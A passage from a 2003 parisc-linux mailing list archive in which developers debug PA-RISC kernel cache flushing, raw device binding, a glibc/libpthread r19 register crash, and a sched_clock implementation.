	by post.webmailer.de (8.12.9/8.12.9) with SMTP id h8J6cZ4N027029
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 08:38:36 +0200 (MEST)
In-Reply-To: <20030918093850.GB12661@lug-owl.de>
X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.3.0; Win32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19534

Hello,

thanks for all hints.

I could update to libc 2.3 without problems. All seems to work...


Best regards, Tilo


From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Fri, 19 Sep 2003 04:24:45 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030919112445.GL27523@tausq.org>
References: <20030919010356.148684940A4@palinux.hppa> <1063933596.2083.9.camel@mulgrave>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622784 31024 80.91.229.3 (22 Nov 2014 02:19:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:44 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	parisc-linux-cvs@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 03:56:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6EA3C4879; Fri, 19 Sep 2003 03:56:56 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A85E5CD2F8; Fri, 19 Sep 2003 04:24:45 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1063933596.2083.9.camel@mulgrave>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19535

> -#undef CACHE_FLUSHING_IS_NOT_BROKEN
> -#ifdef CACHE_FLUSHING_IS_NOT_BROKEN
> +	flush_user_dcache_range((unsigned long) &frame->tramp[0],
> +			   (unsigned long) &frame->tramp[4]);
>  	flush_user_icache_range((unsigned long) &frame->tramp[0],
>  			   (unsigned long) &frame->tramp[4]);

we also have a flush_icache_user_range range macro that does this (flush
dcache + icache). The kernel seems to use both..... 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "SUDARSANAN,RANJITH (HP-India,ex2)" <ranjith_sudarsanan@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Problems with raw interface.
Date: Fri, 19 Sep 2003 18:07:41 +0530
Lines: 101
Approved: news@gmane.org
Message-ID: <A11077E28200D51182EA00D0B775525309A2AA44@xin02.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622785 31025 80.91.229.3 (22 Nov 2014 02:19:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 06:40:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sngrel4.hp.com (sngrel4.hp.com [192.6.86.110])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4DA6483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 06:40:52 -0600 (MDT)
Original-Received: from XIN02.india.hp.com (xin02.india.hp.com [15.10.41.164])
	by sngrel4.hp.com (Postfix) with ESMTP
	id 9CE8C234; Fri, 19 Sep 2003 20:40:12 +0800 (SST)
Original-Received: by xin02.india.hp.com with Internet Mail Service (5.5.2656.59)
	id <S6WZ29MM>; Fri, 19 Sep 2003 18:09:36 +0530
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19536

Hi,

Grant:
>>>I get the impression "raw" is ignoring your input parameter
>>>to use /dev/raw/rawsdb and is using /dev/raw/raw<N> instead.
>>>So it looks like you are comparing the wrong data...

Ranjith:
	When I bind an block interface to a raw device, I see that
/dev/raw/raw<N>, <N> is the minor number of the node entry which is created
in the /dev/raw/ directory. I tried binding to /dev/raw/raw1 instead of
/dev/raw/rawsda. I still get the same results. (If the binding is not
present raw complains)

	This problem does not seem to be there on the X86 and IA64 kernels.
I guess this is something specific to PA Linux kernel. I am compiling the
kernel with debugs enabled. Please let me know if anyone gets a lead on
this.

Grant:
>>>>What does "dd if=/dev/raw/raw2 of=/tmp/o_raw2 bs=512 count=8" result in?
Ranjith:
This command reads the first 4K bytes of the disk and writes it to file
o_raw2. 

with warm regards,
Ranjith Sudarsanan

--------------------------------------
Ranjith Sudarsanan
Rage Team
30CA, Cunningham Road
Bangalore
Off: 91-80-205 3190
Res: 91-80-522 2577 
web: http://nt2651.india.hp.com:8080/
--------------------------------------
"When the head bows, it meets the heart and that head which has met the
heart gets the crown!!! - Sri Sri"


-----Original Message-----
From: Grant Grundler [mailto:grundler@parisc-linux.org] 
Sent: Friday, September 19, 2003 4:30 AM
To: SUDARSANAN,RANJITH (HP-India,ex2)
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Problems with raw interface.


On Fri, Sep 19, 2003 at 12:36:55AM +0530, SUDARSANAN,RANJITH (HP-India,ex2)
wrote: ...
> oak:/home/sranjith# raw /dev/raw/rawsdb /dev/sdb
> /dev/raw/raw1:  bound to major 8, minor 16 oak:/home/sranjith# raw 
> /dev/raw/rawsda /dev/sda
> /dev/raw/raw2:  bound to major 8, minor 0
> 
> oak:/home/sranjith# raw -qa
> /dev/raw/raw1:  bound to major 8, minor 16
> /dev/raw/raw2:  bound to major 8, minor 0

I get the impression "raw" is ignoring your input parameter
to use /dev/raw/rawsdb and is using /dev/raw/raw<N> instead.
So it looks like you are comparing the wrong data...

root@debian:/dev# raw --help
raw: invalid option -- -
Usage:
  raw /dev/raw/rawN <major> <minor>
  raw /dev/raw/rawN /dev/<blockdev>
  raw -q /dev/raw/rawN
  raw -qa

What does "dd if=/dev/raw/raw2 of=/tmp/o_raw2 bs=512 count=8" result in?

Anyway, it looks broken for me too.
I tried using raw on 32-bit 2.4.20-pa28:

	raw /dev/raw/raw1 /dev/sda
	raw -qa
/dev/raw/raw1:  bound to major 8, minor 0
	dd if=/dev/raw/raw1 of=/tmp/raw1.o count=8
	/usr/bin/od -Ax -t x /tmp/raw1.o 
000000 00000000 00000000 00000000 00000000
*
001000


/dev/sda is the boot disk for this machine.

root@debian:/dev# /usr/bin/od -Ax -t x /dev/sda | less
000000 00000000 00000000 00000000 00000000
*
000400 40030800 60653403 00000000 0a086200
000410 cd700200 00000000 02000000 02000000
000420 00800000 00800000 40010000 371e6a3f
000430 371e6a3f 10001800 53ef0100 01000000
....


grant


From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] r19 (aka pic-register akak ltp) not restored on entry back to libc from libpthread?
Date: Fri, 19 Sep 2003 09:56:07 -0400
Lines: 103
Approved: news@gmane.org
Message-ID: <20030919135606.GE18225@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622785 31028 80.91.229.3 (22 Nov 2014 02:19:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 07:58:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id A59D24891
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 07:58:14 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A0Ljz-0008Ue-00; Fri, 19 Sep 2003 09:56:07 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19537

jda,

Perhaps you can help here with my problem, again it's an r19 related
issue.

make[2]: *** [/glibc-cvs/build-hppa/posix/tst-regex.out] Error 139

Breakpoint 1, fixup (l=0xfaf00d68, reloc_offset=1248) at dl-runtime.c:72
72        alloca (sizeof (int));
(gdb) c 22

I exit the loader, and I have ~2700 insn before I get to here...

(gdb) si 2713

I've traced it down to:

0000000040024000-000000004016d000 r-xp 0000000000000000 08:04 1308771
/mnt/flaire/src/glibc-cvs/build-hppa/libc.so

Looks like "public_mALLOc" from libc/malloc/malloc.c trying to unlock
the memory arena mutex.

00081ea0 <__libc_malloc>:
0x400a5f50:     copy r4,r19
0x400a5f54:     cmpib,= 0,ret0,0x400a5f8c
...

r19 = 40181d50 (All is good, all is quiet for 2700 insn)

(gdb) x/4 0x40181d50-0x1800+0x400
0x40180950: 0x400a6234 0x40181d50 0x40094320 0x40181d50

(Stub)
0x400abf0c:     b,l 0x400abf14,r1
0x400abf10:     addil 9f000,r1,%r1
0x400abf14:     be,n 71c(sr4,r1)
(Load r19 and target address from PLABEL)
0x4014b630:     bb,>=,n r22,1e,0x4014b640
0x4014b634:     depwi 0,31,2,r22
0x4014b638:     ldw 4(sr0,r22),r19
0x4014b63c:     ldw 0(sr0,r22),r22
0x4014b640:     bv r0(r22)
0x4014b644:     stw rp,-18(sr0,sp)

r19 = 401a57a8 (Good for libpthread ...)

(gdb) x /4 0x401a57a8-0x1800+0x400
0x401a43a8: 0x00000008 0x0000b6ac 0x0000b6e8 0x08000000
            ^^^^^^^^^^ Soon to be fatal return address.

000072e0 <__pthread_mutex_unlock>:
0x4018d2e0:     stw rp,-14(sr0,sp)
0x4018d2e4:     stw,ma r4,40(sr0,sp)
0x4018d2e8:     stw r19,-20(sr0,sp)		# 2719
...

0000000040186000-0000000040195000 r-xp 0000000000000000 08:04 655453
/mnt/flaire/src/glibc-cvs/build-hppa/linuxthreads/libpthread.so

0x4019063c:     stw r19,-20(sr0,sp)		# 2742
...
0x40190860:     stw r19,-20(sr0,sp)		
...
0x401908f8:     bv r0(rp)			# 2774
0x401908fc:     ldo -80(sp),sp
...
0x40190770:     bv r0(rp)
0x40190774:     ldo -80(sp),sp
...
000072e0 <__pthread_mutex_unlock>
0x4018d334:     bv r0(rp)			# 2806
0x4018d338:     ldw,mb -40(sr0,sp),r4
...
00081ea0 <__libc_malloc>
0x400a5f84:     b,l 0x400a5edc,r0
0x400a5f88:     copy r5,ret0
...

Hold your horses here, we made it back into libc but our ltp is still
that which we loaded upon entry to libpthread? :(

0x400a5eec:     bv r0(rp)
0x400a5ef0:     ldw,mb -40(sr0,sp),r6
...
0x401028e4:     cmpib,<> 0,r20,0x40102918
0x401028e8:     copy r3,r25
...
0x40102918:     b,l 0x40116658,rp		# 2839
0x4010291c:     copy r6,r26

First use of libpthread's r19 is fatal.

0x40116658:     addil -1800,r19,%r1		# 2840
0x4011665c:     ldw 400(sr0,r1),r21  <--- *BOOM* r21=0x8
0x40116660:     bv r0(r21)
0x40116664:     ldw 404(sr0,r1),r19 

Any thoughts? Did I miss something?

Cheers,
Carlos.


From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 19 Sep 2003 09:02:52 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <1063980175.1929.7.camel@mulgrave>
References: <20030919010356.148684940A4@palinux.hppa>
	<1063933596.2083.9.camel@mulgrave>  <20030919112445.GL27523@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622785 31030 80.91.229.3 (22 Nov 2014 02:19:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:45 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 08:02:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26D1A4891
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 08:02:58 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8JE2sI04806;
	Fri, 19 Sep 2003 10:02:55 -0400
In-Reply-To: <20030919112445.GL27523@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19538

On Fri, 2003-09-19 at 06:24, Randolph Chung wrote:
> we also have a flush_icache_user_range range macro that does this (flush
> dcache + icache). The kernel seems to use both..... 

Well, I just took the least line of resistance.

But it does beg the question: I think all of the PA arch docs require
the dcache to be flushed before the icache for all icache flushing, so
is there any point exporting an API that only flushes the icache?

James




From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Fri, 19 Sep 2003 15:32:41 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <3F6B2199.8050402@tiscali.be>
References: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622785 31032 80.91.229.3 (22 Nov 2014 02:19:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 09:32:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD5C74894
	for <parisc-linux@parisc-linux.org>; Fri, 19 Sep 2003 09:32:27 -0600 (MDT)
Original-Received: from [62.235.120.78] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1A0NF9-0006OJ-00; Fri, 19 Sep 2003 17:32:23 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19539

Matthew Wilcox wrote:

>Anyone want to do better than the lame implementation?  ;-)
>
>----- Forwarded message from Andrew Morton <akpm@osdl.org> -----
>
>I'll be merging Ingo & Con's CPOU scheduler changes into Linus's tree soon.
>
>It does require that the architecture provides a new timing function:
>
>A lame implementation is:
>
>/*
> * Returns nanoseconds
> */
>  
>
Hi Willy,

(Certainly yet another stupid question but) to reach such accuracy we 
would need to have access to some 'time device' with an accuracy better 
then the nanosec (iirc 10^-9) (because it doesn't seems to me possible 
to get enough accuracy with cpu clock < 10^9 ie 1Ghz: the most case for 
parisc systems). Does it exist such device and where to start to read 
some doc?

Tanks,
    Joel

>unsigned long long sched_clock(void)
>{
>	return (unsigned long long)jiffies * (1000000000 / HZ);
>}
>
>But for best CPU scheduler results the architecture should try to return a
>higher-resolution number than this of course.
>
>sched_clock() has no absolute time requirements: it just has to return some
>number which goes up by 1,000,000,000 times per second.
>
>I already have implementations for x86, ppc, sparc64 and ia64.
>
>I have a completely stupid ppc64 implementation which is only accurate on
>1GHz CPUs.  Anton please note!
>
>As for the rest, it'll break the build, sorry.
>
>----- End forwarded message -----
>
>  
>




From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Fri, 19 Sep 2003 12:00:35 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20030919160035.GG18225@systemhalted>
References: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk> <3F6B2199.8050402@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622786 31034 80.91.229.3 (22 Nov 2014 02:19:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:46 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 10:02:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A0174866
	for <parisc-linux@parisc-linux.org>; Fri, 19 Sep 2003 10:02:46 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A0NgS-0000zZ-00; Fri, 19 Sep 2003 12:00:36 -0400
Content-Disposition: inline
In-Reply-To: <3F6B2199.8050402@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19540

On Fri, Sep 19, 2003 at 03:32:41PM +0000, Joel Soete wrote:
> Matthew Wilcox wrote:
> 
> >Anyone want to do better than the lame implementation?  ;-)
> >
> >----- Forwarded message from Andrew Morton <akpm@osdl.org> -----
> >
> >I'll be merging Ingo & Con's CPOU scheduler changes into Linus's tree soon.
> >
> >It does require that the architecture provides a new timing function:
> >
> >A lame implementation is:
> >
> >/*
> >* Returns nanoseconds
> >*/
> > 
> >
> Hi Willy,
> 
> (Certainly yet another stupid question but) to reach such accuracy we 
> would need to have access to some 'time device' with an accuracy better 
> then the nanosec (iirc 10^-9) (because it doesn't seems to me possible 
> to get enough accuracy with cpu clock < 10^9 ie 1Ghz: the most case for 
> parisc systems). Does it exist such device and where to start to read 
> some doc?

We could use cr16 to get better accuracy. See list discussions about
fast gettimeofday.

c.


From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Fri, 19 Sep 2003 16:11:00 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <3F6B2A94.8010906@tiscali.be>
References: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk> <3F6B2199.8050402@tiscali.be> <20030919160035.GG18225@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622786 31037 80.91.229.3 (22 Nov 2014 02:19:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:46 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 10:10:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B1144895
	for <parisc-linux@parisc-linux.org>; Fri, 19 Sep 2003 10:10:46 -0600 (MDT)
Original-Received: from [62.235.120.78] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1A0NqE-0008Ai-00; Fri, 19 Sep 2003 18:10:42 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <20030919160035.GG18225@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19541

Carlos O'Donell wrote:

>On Fri, Sep 19, 2003 at 03:32:41PM +0000, Joel Soete wrote:
>  
>
>>Matthew Wilcox wrote:
>>
>>    
>>
>>>Anyone want to do better than the lame implementation?  ;-)
>>>
>>>----- Forwarded message from Andrew Morton <akpm@osdl.org> -----
>>>
>>>I'll be merging Ingo & Con's CPOU scheduler changes into Linus's tree soon.
>>>
>>>It does require that the architecture provides a new timing function:
>>>
>>>A lame implementation is:
>>>
>>>/*
>>>* Returns nanoseconds
>>>*/
>>>
>>>
>>>      
>>>
>>Hi Willy,
>>
>>(Certainly yet another stupid question but) to reach such accuracy we 
>>would need to have access to some 'time device' with an accuracy better 
